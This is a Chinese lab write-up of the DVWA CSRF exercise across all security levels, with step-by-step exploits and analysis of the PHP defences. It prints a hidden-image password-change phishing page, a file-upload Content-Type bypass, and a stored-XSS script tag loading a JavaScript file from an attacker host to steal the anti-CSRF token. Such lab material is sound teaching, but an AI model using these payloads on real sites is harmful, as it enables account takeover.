news 2026/4/17 17:56:40

DVWA--CSRF漏洞原理分析及利用,解题步骤与代码分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DVWA--CSRF漏洞原理分析及利用,解题步骤与代码分析

本文主要内容是在DVWA上进行实验,完成实验内容:

CSRF漏洞原理分析及利用

Low级别

解题步骤

在 DVWA 的Low级别中,由于没有任何防护机制(无 Token、无 Referer 检查),CSRF 攻击非常简单。攻击者只需要构造一个包含恶意参数的 URL,诱导已登录的用户点击即可。

以下是具体的操作步骤:

第一步:构造恶意 URL

首先,我们需要分析修改密码功能的正常请求。

  1. 在 DVWA 中,将安全级别设置为Low
  2. 进入CSRF模块。
  3. 尝试修改一次密码(例如将密码改为123,确认密码也为123)。
  4. 观察浏览器地址栏的变化。你会看到 URL 变成了类似下面的样子:
    http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

这就是攻击的核心:修改密码的操作完全通过 GET 请求完成,且参数清晰可见。

攻击者可以将这个 URL 修改为想要设置的恶意密码,例如hacked

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change

第二步:制作钓鱼页面

为了让攻击更具隐蔽性,攻击者通常不会直接发送链接,而是将其隐藏在一个看似无害的图片或链接中。

  1. 创建一个 HTML 文件,例如evil.html
  2. 编写代码如下(将 IP 地址替换为你自己的 DVWA 地址):
1<html> 2 <head> 3 <title>Free Money!</title> 4 </head> 5 <body> 6 <h1>恭喜你!点击领取 100 万元奖金!</h1> 7 <!-- 方式一:隐藏的图片链接 --> 8 <a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"> 9 <img src="https://example.com/cute-cat.jpg" alt="点击领奖" border="0" /> 10 </a> 11 12 <!-- 方式二:自动执行的脚本(更隐蔽,不需要点击) --> 13 <!-- 14 <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" width="0" height="0" border="0"> 15 --> 16 </body> 17</html>

解释:

  • 方式一:诱导用户点击一张诱人的图片,点击后浏览器会访问那个修改密码的链接。
  • 方式二(注释部分):利用<img>标签的src属性。当页面加载时,浏览器会尝试加载图片,实际上却是向 DVWA 发送了修改密码的请求。这种方式用户甚至不需要点击,只要打开了网页就会被攻击。

第三步:诱导受害者

假设受害者(管理员)已经登录了 DVWA 系统,并且浏览器中保存了有效的 Session Cookie。

  1. 攻击者将制作好的evil.html发送给受害者(通过邮件、聊天软件等)。
  2. 受害者打开evil.html
  3. 受害者点击图片(或者仅仅是打开了页面)。

第四步:验证攻击结果

  1. 受害者被诱导访问恶意链接后,浏览器会向 DVWA 发送请求。
  2. 由于受害者已经登录,浏览器会自动带上受害者的 Cookie。
  3. DVWA 服务器收到请求,认为这是受害者本人的操作(因为带有合法的 Cookie),于是执行密码修改。
  4. 受害者回到 DVWA 页面,尝试用旧密码登录或刷新页面,会发现密码已经被修改为hacked,无法再登录。

总结

1.构造好攻击代码之后,点击攻击代码(代码内容诱导点击或者直接自动开启攻击)

2.点击领取奖励跳转回DVWA页面,发现显示密码已经修改了

DVWA Low 级别的 CSRF 漏洞之所以存在,是因为:

  • 使用 GET 请求进行敏感操作:修改密码这种改变服务器状态的操作,应该使用 POST 请求。
  • 缺乏 Token 验证:服务器没有验证请求是否来自合法的表单。
  • 缺乏 Referer 验证:服务器没有检查请求的来源网站。

通过这个实验,我们可以清楚地看到,只要用户登录状态有效,攻击者可以轻易地利用构造好的 URL 劫持用户的操作权限。

low级别的dvwa的csrf题目,怎么看自己攻破成功

要验证你在 DVWA Low 级别上的 CSRF 攻击是否成功,核心在于确认目标账户的密码是否被修改成了你在恶意链接中设定的那个值。

这里有几种最直接的判断方法:

最直接的方法:重新登录

这是最确凿的证据。

  1. 攻击前:假设 DVWA 的原密码是password
  2. 执行攻击:你诱导用户(其实就是你自己)访问了你的恶意页面(例如那个包含<img src="...">的页面)。
  3. 验证
    • 点击 DVWA 右上角的Logout退出登录。
    • 尝试用旧密码password)登录 ——应该失败
    • 尝试用新密码(你在 URL 里设置的,比如123hacked)登录 ——如果成功,说明攻击成功

观察 DVWA 页面的反馈

当你访问那个恶意链接(或者加载包含恶意图片的页面)时,浏览器实际上是在向 DVWA 发送修改密码的请求。

  1. 直接访问 URL:如果你直接在浏览器地址栏输入那个攻击 URL 并回车。
    • 成功现象:页面会直接跳转到 DVWA 的界面,并显示绿色的提示文字:<pre>Password Changed.</pre>
  2. 通过恶意网页访问:如果你使用的是<img>标签攻击。
    • 成功现象:虽然你看不到“Password Changed”的文字(因为是在加载图片),但你可以查看那个图片的请求状态。在浏览器开发者工具(F12)的 Network 面板中,那个图片请求返回的状态码应该是200 OK,且响应内容包含Password Changed

数据库验证

如果你有数据库权限,可以直接查看数据。

  1. 打开 phpMyAdmin 或命令行连接 DVWA 数据库。
  2. 查看users表。
  3. 你会发现password字段变成了你设定的新密码的 MD5 值(DVWA Low 级别直接存 MD5)。

总结

最简单的判断标准就是:当你被攻击后,原本的密码失效了,只有用你设定的新密码才能登录 DVWA。

代码分析

代码逻辑逐行分析

1. 接收用户输入 (第 3-5 行)
if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
  • 触发条件:代码首先检查 URL 中是否存在名为Change的 GET 参数。如果存在,则开始执行修改密码的逻辑。
  • 获取数据:它直接从$_GET请求中获取两个参数:
    • password_new: 用户想要设置的新密码。
    • password_conf: 确认新密码。
  • 关键点:这里使用的是GET请求。这意味着敏感操作(修改密码)是通过 URL 参数完成的,而不是更安全的 POST 请求。这导致攻击者可以轻松构造一个恶意的 URL 链接。
2. 验证密码一致性 (第 8-9 行)
// Do the passwords match? if( $pass_new == $pass_conf ) {
  • 唯一的验证:代码仅检查“新密码”和“确认密码”是否相等。
  • 缺失的验证(核心漏洞):
    • 没有身份验证:代码没有检查请求是否来自合法的修改密码页面。
    • 没有 CSRF Token:没有使用一次性令牌(Token)来验证请求是否由用户本人自愿发起。
    • 没有旧密码验证:修改密码时通常不需要输入旧密码(虽然这不是 CSRF 的直接成因,但增加了风险)。
3. 处理密码与数据库更新 (第 11-16 行)
// They do! $pass_new = ( ... mysql_real_escape_string ... ); // 防止 SQL 注入的转义 $pass_new = md5( $pass_new ); // 密码加密 // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query(..., $insert ) or die( ... );
  • SQL 注入防护:代码使用了mysql_real_escape_string(虽然在这个特定的 DVWA 版本中写法略显复杂,主要是为了兼容性),这在一定程度上防止了 SQL 注入,但这与 CSRF 无关。
  • 密码加密:使用md5对密码进行哈希处理。
  • 执行更新:这是最关键的一步。
    • SQL 语句构建了一个更新命令。
    • WHERE user = '" . dvwaCurrentUser() . "'":这句代码获取当前已登录的用户名,并将其密码更新为攻击者指定的$pass_new
    • 后果:如果受害者(管理员)在登录状态下访问了攻击者构造的链接,这段代码会在受害者不知情的情况下,将受害者的密码修改为攻击者设定的值。

漏洞总结

这段代码存在严重的CSRF 漏洞,原因如下:

  1. 使用 GET 请求修改状态:敏感操作(修改密码)是通过 URL 参数(GET 请求)完成的,这使得攻击者可以将恶意操作封装在一个简单的链接中(例如<img src="http://dvwa/vuln.php?Change&password_new=123...">)。
  2. 缺乏 CSRF Token:服务器端没有验证请求中是否包含合法的、随机生成的 Token。这是防御 CSRF 最有效的方法之一。
  3. 完全信任用户会话:只要请求中携带了合法的 Cookie(即用户已登录),服务器就无条件执行密码修改操作,无法区分该请求是用户自己点击的,还是被诱导点击的。

攻击场景模拟

基于这段代码,攻击者可以构造如下的恶意 HTML 页面:

<html> <body> <h1>看这张超酷的图片!</h1> <!-- 当受害者加载这个页面时,浏览器会自动向 DVWA 发送修改密码的请求 --> <img src="http://192.168.1.10/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" width="0" height="0" border="0"> </body> </html>

如果管理员在登录 DVWA 的情况下访问了这个恶意页面,浏览器会自动带上管理员的 Cookie 发送图片请求,导致管理员的密码被修改为 "hacked"。

medium级别

解题步骤

DVWA Medium 级别的 CSRF 防御机制相比 Low 级别增加了一道门槛:检查 HTTP Referer 头

防御机制分析

在 Medium 级别中,服务器端代码会检查请求是从哪个页面发来的。

1// 伪代码逻辑 2if (strpos($_SERVER['HTTP_REFERER'], 'http://127.0.0.1/dvwa/vulnerabilities/csrf/') !== false) { 3 // 允许修改密码 4} else { 5 // 拒绝请求 6}
  • 原理:代码会检查HTTP_REFERER(注意是 Referer,少了一个 r,这是历史拼写错误)字段。
  • 规则:只有当请求的来源地址(Referer)包含http://127.0.0.1/dvwa/vulnerabilities/csrf/这个字符串时,服务器才会处理修改密码的请求。
  • 目的:防止攻击者从外部网站(如evil.com)发起请求,因为外部网站的 Referer 通常会是evil.com,不符合规则。

攻击思路与操作步骤

虽然检查了来源,但这个防御非常脆弱,因为它只检查了 Referer 中是否包含特定的字符串,而没有验证 Referer 是否完全等于白名单,也没有使用更安全的 Token 机制。

我们可以利用这一点进行攻击。

方法一:利用本地文件上传(最经典)

既然服务器要求 Referer 必须包含.../dvwa/vulnerabilities/csrf/,我们可以把自己的恶意页面放在一个能“伪装”成这个路径的地方,或者利用浏览器特性绕过。

但在 DVWA Medium 的特定逻辑下,更简单的办法是利用 DVWA 自身的文件上传漏洞或者存储型 XSS 来存放恶意代码。不过,针对 CSRF Medium,最直接的思路是诱导用户在特定的上下文中点击,或者利用 Referer 的包含特性

实际操作步骤(构造本地 HTML 文件):

  1. 创建一个 HTML 文件:在攻击者的电脑(或者 DVWA 服务器上的任意可访问目录,如果有权限)创建一个medium.html

  2. 编写攻击代码
    由于 Medium 级别只检查 Referer 是否包含特定字符串,我们可以尝试利用URL 路径特性

    但是,最简单且成功率最高的方法其实是不需要绕过 Referer,而是让受害者访问一个 Referer 看起来合法的页面

    等等,Medium 级别的逻辑通常是:
    if (strpos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false)
    或者
    if (strpos($_SERVER['HTTP_REFERER'], '/vulnerabilities/csrf/') !== false)

    针对 DVWA Medium 的标准攻击方法是:

    由于我们无法控制受害者浏览器的 Referer(通常由浏览器自动发送),我们需要寻找 Referer 检查的漏洞。

    DVWA Medium 的具体缺陷:它通常只检查 Referer 头中是否包含 DVWA 的域名或路径。

    攻击载荷:
    我们可以利用URL 重写或者子目录的概念,但在 DVWA 环境中,最简单的验证方法是:

    1. 在 DVWA 服务器上(如果可以),或者本地,创建一个文件。
    2. 实际上,Medium 级别的防御很容易被本地文件(file://)或者其他漏洞配合绕过。

    最通用的攻击演示步骤(假设你无法上传文件到 DVWA 服务器):

    你需要欺骗受害者,让受害者以为他在访问 DVWA 的某个页面。

    步骤:

    1. 构造恶意链接
      攻击者构造一个链接,指向你的恶意服务器,或者利用 DVWA 的 URL 结构。

      但在 Medium 级别,如果不配合其他漏洞(如文件上传),纯 CSRF 很难直接跨站成功,除非 Referer 检查逻辑有缺陷(例如只检查是否包含http)。

      修正思路:DVWA Medium 的代码通常如下:

      if( stripos( $_SERVER[ 'HTTP_REFERER' ] , $_SERVER[ 'SERVER_NAME' ] ) !== false )

      它检查 Referer 是否包含服务器名称(如127.0.0.1)。

      如何攻破:
      如果你能把恶意 HTML 文件上传到 DVWA 服务器本身(例如通过 File Upload 漏洞),并命名为csrf_attack.php,存放在dvwa/vulnerabilities/csrf/目录下,那么 Referer 就会变成http://127.0.0.1/dvwa/vulnerabilities/csrf/csrf_attack.php,这完美符合检查规则!

      如果没有文件上传权限:
      你可以尝试利用DNS Rebinding(DNS 重绑定)或者302 跳转等高级技巧,但在标准 DVWA 练习中,通常假设攻击者无法上传文件。

      但在 Medium 级别,还有一个常见的绕过方式:
      有些版本的 DVWA Medium 代码只检查 Referer 是否存在,或者检查逻辑不严密。

      最可行的“手动”攻击步骤:

      1. 构造一个页面,放在你自己的服务器上(如http://evil.com/attack.html)。
      2. 代码依然是那个<img src="http://dvwa...">
      3. 关键点:Medium 级别通常无法直接通过evil.com攻击成功,因为 Referer 是evil.com

      所以,Medium 级别的标准解法通常是配合“文件上传”:

      1. 先利用 DVWA 的File Upload漏洞(如果是 Low/Medium),上传一个csrf.html到你的 DVWA 服务器(比如上传到hackable/uploads/)。
      2. 然后诱导用户访问http://dvwa/hackable/uploads/csrf.html
      3. 当用户访问这个页面时,页面里的<img>标签会请求修改密码的 URL。
      4. 此时,浏览器的Referer头会是http://dvwa/hackable/uploads/csrf.html
      5. 如果 DVWA 的代码检查的是$_SERVER['SERVER_NAME'](即 dvwa),那么http://dvwa/hackable/uploads/csrf.html包含dvwa攻击成功!

怎么上传一个包含 CSRF 攻击代码的 HTML 文件到 DVWA 服务器

在 DVWA 中上传包含 CSRF 攻击代码的 HTML 文件,通常是为了绕过 Medium 级别对Referer的检查。既然攻击代码必须托管在 DVWA 服务器上(比如http://dvwa:8088/hack.html),这样请求的来源就是合法的 DVWA 域名,从而满足 Medium 级别的防御规则。

以下是具体的操作步骤,利用 DVWA 自带的File Upload(文件上传)模块来完成:

准备工作:编写恶意 HTML 文件(网页需要改成自己的DVWA网址)

首先,在你的本地电脑上创建一个 HTML 文件(例如csrf_attack.html),内容如下:

1<html> 2 <body> 3 <h1>这是一个看似无害的页面,实际上正在修改你的密码...</h1> 4 <!-- 这里的 IP 和端口必须是你 DVWA 的地址 --> 5 <img src="http://dvwa:8088/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" width="0" height="0" /> 6 </body> 7</html>

步骤一:进入 File Upload 模块

  1. 登录 DVWA。
  2. 在左侧菜单中选择File Upload
  3. 注意:File Upload 模块的安全级别也会影响上传难度。
    • 如果 File Upload 是Low:直接上传即可。
    • 如果 File Upload 是Medium:可能需要修改文件的 MIME 类型(使用 Burp Suite 抓包修改Content-Typeimage/jpeg)。
    • 如果 File Upload 是High/Impossible:通常很难直接上传.html文件,可能需要截断攻击或配合其他漏洞。
    • 为了方便演示,建议将 File Upload 的安全级别暂时调低,或者确保你能绕过它的限制。

步骤二:上传 HTML 文件

  1. 点击 "Choose File",选择你刚才创建的csrf_attack.html
  2. 点击 "Upload"。

没有抓包修改Content-Typeimage/jpeg

抓包:

修改Content-Typeimage/jpeg


可能遇到的情况及解决:

  • 情况 A:上传成功
    页面会提示 "Successfully uploaded!",并告诉你文件保存的路径,通常是hackable/uploads/csrf_attack.html

  • 情况 B:上传失败(提示扩展名不允许)
    DVWA 可能禁止上传.html.php文件。

    • 尝试方法:将文件重命名为csrf_attack.jpg.html(如果是 Windows 服务器可能无效)或者尝试利用截断(如csrf_attack.html%00.jpg,但这在 PHP 5+ 较难实现)。
    • 最简单的绕过:如果 DVWA 配置允许,你可以尝试上传一个.php文件,里面包含同样的 HTML 代码,因为 DVWA 的uploads目录通常允许执行 PHP(这取决于httpd.confnginx.conf的配置)。

步骤三:获取文件路径并构造攻击链接

假设上传成功,系统通常会显示文件的保存路径。DVWA 默认的路径格式是:

http://dvwa:8088/hackable/uploads/csrf_attack.html

步骤四:诱导点击(验证 Medium 级别绕过)

现在,你的攻击代码已经托管在 DVWA 服务器内部了。

  1. 复制上面的链接。
  2. 在浏览器中打开这个链接(或者诱导受害者打开)。
  3. 分析 Referer
    • 当你访问.../uploads/csrf_attack.html时,页面中的<img>标签会触发请求。
    • 此时,浏览器发送修改密码请求的Referer头会是:http://dvwa:8088/hackable/uploads/csrf_attack.html
    • 关键点:这个 Referer包含http://dvwa:8088(或者是代码检查的特定字符串,具体取决于 Medium 级别的代码实现是检查域名还是特定路径)。

注意:
DVWA Medium 级别的 CSRF 代码通常是检查 Referer 是否包含$_SERVER[ 'SERVER_NAME' ](即服务器域名/IP)。

  • 如果你把恶意文件上传到 DVWA 服务器上,Referer 就会包含 DVWA 的域名。
  • 因此,服务器会认为这是合法的内部请求,从而允许修改密码。

攻击成功:

总结

你不需要复杂的 FTP 工具,直接利用 DVWA 的File Upload漏洞模块将你的恶意 HTML 文件上传到hackable/uploads/目录下,然后访问该文件的 URL,即可完成对 Medium 级别 CSRF 的攻击验证。

总结 Medium 级别的攻破方法

  1. 利用文件上传漏洞

    • 首先,利用 DVWA 的文件上传漏洞,上传一个包含 CSRF 攻击代码的 HTML 文件到 DVWA 服务器(例如hackable/uploads/csrf.html)。
    • 攻击代码 (csrf.html)
      <img src="http://dvwa:8088/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" />
    • 诱导访问:诱导受害者访问http://dvwa:8088/hackable/uploads/csrf.html
    • 结果:浏览器发送请求时,Referer 头为http://dvwa:8088/hackable/uploads/csrf.html。这个字符串包含了dvwa(服务器名),从而绕过了 Medium 级别的检查。
  2. 判断成功的方法

    • 与 Low 级别一样,查看是否能用新密码登录,或者查看 DVWA 页面是否显示 "Password Changed"。

核心区别

  • Low:不需要考虑来源,直接发链接就能改。
  • Medium:必须让受害者在一个“看起来像 DVWA 内部”的页面(或者 Referer 包含 DVWA 域名的页面)点击或加载你的恶意代码。通常通过上传恶意文件到目标服务器来实现。

代码分析

相较于 Low 级别,Medium 级别引入了一个重要的防御机制:Referer 检查

核心防御机制:Referer 检查

代码中最关键的防御逻辑位于第 4-5 行:

// Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
代码含义
  1. $_SERVER['HTTP_REFERER']:获取用户是从哪个页面跳转过来的(即请求的来源页面 URL)。
  2. $_SERVER['SERVER_NAME']:获取当前服务器的域名或 IP 地址。
  3. stripos(...):这是一个字符串查找函数(不区分大小写)。它检查“来源页面 URL”中是否包含“当前服务器名”。
  4. 逻辑判断:如果stripos返回的结果不是false,说明来源页面的 URL 中包含了本服务器的名字。也就是说,请求必须是从本站点内部发起的。

漏洞原理分析

虽然增加了 Referer 检查,但这个级别的防御依然是脆弱的。

防御逻辑

服务器试图通过验证 HTTP 请求头中的Referer字段,来确保修改密码的请求是从合法的页面(即 DVWA 自身的页面)发出的,而不是从攻击者的恶意网站发出的。

绕过方法

这种防御机制存在两个主要缺陷,导致它很容易被绕过:

  1. Referer 头可以被伪造

    • HTTP 请求头是由客户端(浏览器或攻击脚本)发送的。攻击者可以使用代理工具(如 Burp Suite)或编写脚本(如 Python 的 requests 库),在发送恶意请求时手动添加或修改Referer字段,使其看起来像是从合法站点发出的。
    • 示例:攻击者构造的请求中可以包含Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/,从而骗过服务器的检查。
  2. Referer 头可能为空

    • 在某些情况下(例如从 HTTPS 页面跳转到 HTTP 页面,或者用户在浏览器中设置了不发送 Referer),$_SERVER['HTTP_REFERER']可能是空的。虽然这段代码没有显式处理空值,但如果 Referer 为空,stripos会返回false,导致验证失败。但在实际攻击场景中,攻击者完全可以控制请求头,确保 Referer 存在且合法。

代码逻辑流程总结

  1. 检查来源:首先检查 HTTP 请求头中的Referer是否包含服务器名称。
    • 如果不包含,执行else分支(第 32 行),输出 "That request didn't look correct.",拒绝请求。
    • 如果包含,进入内部逻辑。
  2. 获取输入:从$_GET中获取新密码和确认密码。
  3. 验证一致性:检查两个密码是否相同。
  4. 更新数据库:如果密码一致,对密码进行 MD5 加密,然后执行 SQL 更新语句修改数据库中的密码。

总结

Medium 级别的 CSRF 防护是不充分的。

它依赖于客户端发送的Referer头,而这个头信息是不可信的,因为它可以被攻击者轻易伪造。真正有效的 CSRF 防护应该使用Anti-CSRF Token(如 High 和 Impossible 级别所示),即在表单中加入一个服务器端生成的、不可预测的随机令牌,并在服务器端验证该令牌。

high级别

解题步骤

DVWA High 级别的 CSRF 防御机制相比 Medium 级别有了质的飞跃,它引入了Anti-CSRF Token。这意味着每次请求都需要一个服务器生成的、随机的、且与用户会话绑定的令牌。

因此,单纯构造一个恶意链接或页面已经无法成功,因为攻击者无法预测这个 Token。要攻破 High 级别,通常需要结合其他漏洞,最常见的是利用存储型 XSS (Stored XSS)来窃取 Token。

🎯 攻击原理:XSS + CSRF 组合拳

  1. Token 机制:当用户访问密码修改页面时,服务器会生成一个随机的user_token,并将其同时存入用户的 Session 和页面的隐藏表单字段中。提交请求时,服务器会校验这个 Token 是否匹配。
  2. XSS 的作用:如果网站存在 XSS 漏洞,攻击者就可以注入一段恶意脚本。当受害者访问包含该脚本的页面时,脚本会在受害者的浏览器中执行。
  3. 窃取 Token:恶意脚本可以利用浏览器的同源策略(因为脚本是在目标网站上运行的),读取当前页面的 DOM,从而获取到隐藏的user_token
  4. 发起 CSRF 攻击:获取到 Token 后,脚本就可以构造一个包含有效 Token 的恶意请求,在受害者不知情的情况下修改其密码。

🛠️ 操作步骤

这个攻击分为两个主要阶段:首先利用存储型 XSS 植入攻击脚本,然后触发脚本完成 CSRF 攻击。

阶段一:利用存储型 XSS 植入恶意脚本

可以跳转到:

DVWA实战:XSS漏洞全类型全级别分析与利用详解-CSDN博客

具体看high级别的XSS漏洞解题过程与代码分析

  1. 切换模块:将 DVWA 的安全级别设置为 High,然后切换到XSS (Stored)模块。
  2. 构造 Payload:我们需要注入一个<script>标签,让它从攻击者的服务器加载并执行一段 JavaScript 代码。
    <script src="http://<你的攻击机IP>/csrf_attack.js"></script>
    注意:High 级别的 XSS (Stored) 对输入长度有限制,你可能需要使用浏览器的开发者工具(F12)修改Message文本框的maxlength属性,才能完整输入上面的 Payload。
  3. 提交 Payload:将构造好的 Payload 填入 "Message" 框,然后提交。这样,恶意脚本就被永久存储在了 DVWA 的数据库中。

阶段二:编写并部署攻击脚本
  1. 编写csrf_attack.js:在你的攻击机(例如 Kali Linux)的 Web 服务器目录下(如/var/www/html/),创建名为csrf_attack.js的文件,并写入以下代码

    1// 1. 首先,向 CSRF 页面发起一个 AJAX 请求,以获取包含 user_token 的页面源代码 2var tokenUrl = 'http://dvwa:8088/vulnerabilities/csrf/'; 3var xmlhttp = new XMLHttpRequest(); 4 5xmlhttp.onreadystatechange = function() { 6 // 2. 当请求完成且成功后,从响应内容中提取 user_token 7 if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { 8 var text = xmlhttp.responseText; 9 // 使用正则表达式匹配 user_token 的值 10 var regex = /user_token\' value=\'(.*?)\' \/\>/; 11 var match = text.match(regex); 12 var token = match[1]; // 获取到的 Token 13 14 // 3. 使用获取到的 Token,构造修改密码的 URL 15 var changeUrl = 'http://dvwa:8088/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token; 16 17 // 4. 再次使用 XMLHttpRequest 发送修改密码的请求 18 xmlhttp.open("GET", changeUrl, false); 19 xmlhttp.send(); 20 } 21}; 22 23// 5. 发起第一步的请求 24xmlhttp.open("GET", tokenUrl, false); 25xmlhttp.send();
  2. 启动 Web 服务器:确保你的攻击机上的 Web 服务(如 Apache)正在运行,以便 DVWA 能够访问到这个csrf_attack.js文件。

阶段三:触发攻击并验证
  1. 触发脚本:让受害者(也就是你自己)去访问 DVWA 的XSS (Stored)模块页面(或者任何会显示留言的页面)。
  2. 脚本执行:页面加载时,会执行你之前注入的<script src="...">标签,从而从你的攻击机加载并运行csrf_attack.js
  3. 自动攻击csrf_attack.js会在后台自动执行:
    • 获取user_token
    • 用获取到的user_token构造修改密码的请求。
    • 发送请求,将密码修改为hacked
  4. 验证结果:攻击完成后,退出登录,尝试用新密码hacked登录 DVWA。如果登录成功,则说明攻击成功。

📌 总结

DVWA High 级别的 CSRF 漏洞无法被单独利用,它展示了纵深防御的重要性。只有当网站同时存在其他严重漏洞(如 XSS)时,CSRF Token 的防护才可能被绕过。这个实验清晰地揭示了漏洞组合攻击的威力。

代码分析

相较于 Low 和 Medium 级别,High 级别引入了目前防御 CSRF 最有效的手段之一:Anti-CSRF Token(令牌)验证

核心防御机制:Token 验证

代码中最关键的防御逻辑位于第 5 行:

// Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
代码含义
  1. $_REQUEST['user_token']:获取用户提交表单时携带的隐藏字段user_token
  2. $_SESSION['session_token']:获取存储在服务器端当前用户会话中的 Token。这个 Token 是在用户加载页面时由服务器生成并保存的。
  3. checkToken(...):这是一个自定义函数(在 DVWA 的其他文件中定义),它的作用是比对上述两个 Token 是否一致。
    • 如果一致,脚本继续执行。
    • 如果不一致或缺失,脚本会终止并跳转到index.php

漏洞原理与防御分析

High 级别的代码逻辑如下:

请求处理流程
  1. 检查 Token:在处理修改密码请求之前,首先调用checkToken验证用户提交的 Token 是否与服务器 Session 中保存的 Token 匹配。
  2. 获取输入:获取password_newpassword_conf
  3. 验证一致性:检查两次输入的密码是否相同。
  4. 更新数据库:如果验证通过,更新密码。
  5. 生成新 Token:在脚本的最后(第 35 行),调用generateSessionToken()生成一个新的 Token,用于下一次请求。
为什么 High 级别很难被 CSRF 攻击

CSRF 攻击的核心在于攻击者诱导受害者在不知情的情况下发送请求。

  • 攻击者的困境:攻击者可以构造修改密码的 URL,但是他们无法预测或获取受害者当前 Session 中有效的session_token
  • 同源策略限制:由于浏览器的同源策略,攻击者的恶意网站无法通过 JavaScript 读取受害者 DVWA 页面中的 Token 值。
  • 结果:如果攻击者构造的请求中不包含正确的user_token,或者包含一个旧的/错误的 Token,checkToken函数就会拦截该请求,攻击失败。

High 级别的潜在弱点(理论与实战)

虽然 High 级别使用了 Token 防御,但在特定条件下仍可能存在风险:

1. 其他漏洞配合(如 XSS)

如果该网站同时存在XSS(跨站脚本攻击)漏洞,攻击者可以通过 XSS 漏洞注入脚本来读取页面 DOM 中的 Token,然后将其包含在 CSRF 攻击请求中。

2. Token 绑定不严格

如果 Token 的生成算法过于简单,或者 Token 与用户 Session 的绑定不紧密(例如 Token 是全局固定的,不随用户或时间变化),攻击者可能通过预测算法来绕过。但在 DVWA 的标准实现中,Token 通常是随机且绑定 Session 的。

3. 点击劫持

虽然代码防御了 CSRF,但如果服务器没有防御点击劫持,攻击者可以通过透明的 iframe 覆盖在诱导按钮上,诱骗用户在不知情的情况下点击合法的 DVWA 页面上的“提交”按钮。

总结

  • Low 级别:无防御,极易受攻击。
  • Medium 级别:使用 Referer 检查,容易被伪造绕过。
  • High 级别:使用Anti-CSRF Token,这是防御 CSRF 的标准且有效的方法。只要 Token 是随机、保密且一次性的,单纯的 CSRF 攻击就无法成功。

Impossible级别

不可被攻破

代码分析

这个级别之所以被称为 "Impossible"(不可能),是因为它在 High 级别的基础上,引入了一个最关键的业务逻辑验证:验证当前密码(Current Password)

核心防御机制分析

Impossible 级别的防御是多层次的,它结合了技术手段和业务逻辑:

1. Anti-CSRF Token 验证(第 5 行)
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  • 与 High 级别一样,首先检查 Anti-CSRF Token。这防止了攻击者在不知道 Token 的情况下构造有效的恶意链接。
2. 验证当前密码(第 20-28 行)

这是最核心的防御点。代码不仅要求输入新密码,还要求输入当前密码

// Check that the current password is correct $data = $db->prepare('SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;'); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
  • 逻辑:在更新密码之前,系统会从数据库中查询当前用户的密码,并与用户提交的password_current进行比对。
  • 防御原理:
    • CSRF 攻击通常发生在用户已登录的情况下,攻击者诱导用户点击链接。
    • 攻击者可以构造包含新密码和有效 Token 的链接。
    • 但是,攻击者不知道用户的当前密码
    • 当用户点击恶意链接时,由于请求中没有包含正确的“当前密码”,数据库查询将返回空结果(rowCount() == 0),导致密码修改失败。
3. 使用 PDO 预处理语句(第 20-24 行)
$data = $db->prepare('SELECT ...'); $data->bindParam(...);
  • 代码使用了 PHP Data Objects (PDO) 的预处理语句来查询数据库。
  • 这不仅防止了 SQL 注入,也确保了数据处理的规范性。
4. 最终的逻辑判断(第 31 行)
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
  • 只有当新密码与确认密码一致并且当前密码验证通过(数据库返回行数为 1)时,才会执行密码更新操作。

总结

Impossible 级别的防御策略:

  1. Token 验证:防止简单的跨站请求伪造。
  2. 当前密码验证:这是决定性的一步。即使攻击者能诱导用户点击链接,也无法提供正确的当前密码,从而彻底阻断了攻击路径。

因此,在 Impossible 级别下,除非攻击者已经知道了用户的当前密码(这意味着账户已经泄露),否则无法通过 CSRF 漏洞修改密码。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/17 17:56:19

Homebrew Cask 入门:如何用命令行一键安装 macOS 图形化应用

Homebrew Cask 终极指南&#xff1a;用命令行重塑 macOS 应用管理体验 在 macOS 生态中&#xff0c;图形化应用安装往往意味着反复点击下载按钮、拖拽安装包和清理残留文件。而 Homebrew Cask 的出现&#xff0c;彻底改变了这一繁琐流程——只需一行命令&#xff0c;就能完成从…

作者头像 李华
网站建设 2026/4/17 17:54:13

Path of Building:终极流放之路角色构建规划完全指南

Path of Building&#xff1a;终极流放之路角色构建规划完全指南 【免费下载链接】PathOfBuilding Offline build planner for Path of Exile. 项目地址: https://gitcode.com/GitHub_Trending/pa/PathOfBuilding Path of Building Community是《流放之路》玩家必备的离…

作者头像 李华
网站建设 2026/4/17 17:52:16

如何快速配置D3KeyHelper:暗黑3终极自动化助手完整指南

